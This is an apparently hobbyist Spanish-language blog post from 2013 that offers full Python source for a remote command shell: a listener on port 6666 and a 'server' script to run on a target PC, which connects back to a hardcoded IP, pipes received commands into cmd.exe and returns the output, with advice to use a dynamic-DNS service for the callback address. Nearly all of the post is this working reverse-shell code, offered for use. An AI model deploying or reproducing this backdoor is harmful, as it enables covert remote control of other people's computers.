Soporte

Habla con gente sobre python en un grupo de skype.
Skype:
hackloper

Python

All created with python

jueves, 24 de octubre de 2013

Posted by HackLoper |
Con este script se puede devolver comandos mandados a traves del cliente, solo tenemos que
ejecutar el servidor en el pc que queramos.

Hay que modificar los siguientes datos.
Cliente:
PORT = numero de puerto
Servidor:
IP = "La ip donde se conecta"
PORT = numero_puerto

Recordar que podemos utilizar programas como no-ip para tener una ip estática.

Cliente:


#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper

from __future__ import print_function
import socket,time,os

integer = 0
RUTE = []

class command:
    def conexion(self):
        while True:
            try:
                self.s = socket.socket();
                print("esperando...");
                self.s.bind(("",6666));
                self.s.listen(1);
                print("[*]---HackLoper---[*]");
                self.sc,self.addr = self.s.accept();
                self.init();
            except:
                print('conexion perdida, reconectando...')
                time.sleep(3)
                continue
                
    def init(self):
        data = self.sc.recv(9999);
        spl = data.splitlines();
        os.system('cls');
        for i in range(2):
            print (spl[i]);
        print('\n');
        data = self.sc.recv(9999);
        if integer == 0:
            RUTE.append(data);
            i = 1;
        self.cmd();

    def resp(self,data):
        spl = data.splitlines();
        n = len(spl);
        n = n-1;
        print('\n');
        for i in range(1,n):
            print(spl[i]);
        self.cmd();

    def cmd(self):
        print(RUTE[0]+'>',end ='');
        comando = raw_input('');
        if comando == 'cls':
            self.sc.send('cls');
            self.cmpi(comando);
        else:
            self.sc.send(comando);
            data = self.sc.recv(9999);
            self.cmpi(comando,data);

    def cmpi(self,cmmd,data=None):
        if cmmd == 'cd..' or cmmd[0:3] == 'cd ':
            if os.path.exists(data) == True:
                RUTE[0] = data;
                print('\n');
                self.cmd();
            else:
                print (data);
                print('\n');
                self.cmd();
        elif data == 'error':
            error = self.sc.recv(9999);
            print(error);
            self.cmd();
        elif cmmd == 'cls':
            os.system('cls');
            self.cmd();
        else:
            self.resp(data);


cmd = command();
cmd.conexion();

Servidor:


#By: HackLoper
#twiter: https://twitter.com/HackLoper
#canal-youtube: hackdeveloper

import socket,time,subprocess,re

RUTE = [None]
IP = "192.168.0.101"
PORT = 6666

class shell:
    def conexion(self):
        while True:
            try:
                self.s = socket.socket()
                self.s.connect((IP,PORT))
                shell.main()
            except:
                print('esperando...')
                try:
                    client.close()
                    s.close()
                except:
                    continue
                continue
            
    def main(self):
        process = subprocess.Popen('cmd.exe',
                                    shell=True,
                                    stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE)

        process.stdin.write("")
        o,e=process.communicate()
        process.wait()
        process.stdin.close()
        time.sleep(1)
        self.s.send(o)
        self.rute(o)

    def rute(self,text):
        t = re.search('[?: \\\s\w]+>',text)
        repl = t.group(0).replace('>','')
        RUTE[0] = repl
        self.s.send(repl)
        self.command()

    def command(self):
        cmd = self.s.recv(9999)
        if cmd == 'cls':
            self.command()
        process = subprocess.Popen('cmd.exe /k',
                                    cwd = RUTE[0].decode(),
                                    shell = True,
                                    stdin = subprocess.PIPE,
                                    stdout = subprocess.PIPE,
                                    stderr = subprocess.PIPE)
        process.stdin.write(cmd+'\n')
        o,e=process.communicate()
        process.wait()
        if e == '':
            process.stdin.close()
            self.correct(o,cmd)
        else:
            process.stdin.close()
            if cmd == 'cd..' or cmd[0:3] == 'cd ':
                self.s.send(e)
                print(e)
                self.command()
            else:
                self.s.send('error')
                self.s.send(e)
                self.command()


    def cmpi(self,t):
        dec = t.decode()
        move = dec.replace('>','')
        RUTE[0] = move
        self.s.send(move)
        self.command()

    def correct(self,o,cmd):
        if cmd == 'cd..' or cmd[0:3] == 'cd ':
            split = o.splitlines()
            cont = len(split)-1
            data = split[cont]
            self.cmpi(data)
        else:
            self.s.send(o)
            self.command()
if __name__ == '__main__':
    shell = shell()
    shell.conexion()

1 comentario: